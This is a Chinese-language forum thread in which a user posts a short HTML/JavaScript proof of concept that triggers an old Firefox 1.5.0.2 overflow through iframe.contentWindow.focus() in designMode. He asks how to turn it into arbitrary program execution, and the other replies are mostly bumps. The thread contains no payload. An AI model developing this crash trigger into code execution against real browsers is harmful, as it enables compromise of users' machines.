怎样看出是iframe.contentWindow.focus()的溢出？如何利用该漏洞？

[du198710]

<textarea cols="0" rows="0" id="x_OtherInfo" name="x_OtherInfo"></textarea> 
  <script> 
       var textarea = document.getElementsByName("x_OtherInfo"); 
       textarea=textarea.item(0); 
           var htmlarea = document.createElement("div"); 
       htmlarea.className = "htmlarea";  
       textarea.parentNode.insertBefore(htmlarea, textarea); 
       var iframe = document.createElement("iframe"); 
       htmlarea.appendChild(iframe);
            var doc = iframe.contentWindow.document; 
                 doc.designMode = "on"; 
                 doc.open(); 
                 doc.write("<iframe src=''>");
          iframe.contentWindow.focus() 
  doc.close(); 
  </script>
</textarea>

http://www.securident.com/vuln/ff.txt
如何利用它执行任意可执行程序呢？

[du198710]

这个是火狐1.5.02版的一个漏洞，我只是想通过它实现一个演示性的程序
如果有正确解答双倍给分哈～
另外：帮顶的都有分！

[一方晴空]

帮顶^

[du198710]

自己顶下～不知道的路过也帮忙顶下啦，就当我散分好不……

[sj2love0qh]

不会，帮顶

[反对宣传员]

try{
iframe.contentWindow.focus()
}catch(ex){
在这里查看ex对象的属性或错误号
}

[dh20156]

木有测试环境，FF3.0.10

[du198710]

[Quote=引用 5 楼 mumucom 的回复:]
try{
iframe.contentWindow.focus()
}catch(ex){
在这里查看ex对象的属性或错误号
}
[/Quote]
我想您理解有所偏差……这里要研究对象不是网页代码，而是火狐浏览器软件的一个溢出错误，我是想知道通过什么样的网页代码能让它触发缓冲区溢出漏洞？

[琦天娃娃]

奉旨帮顶~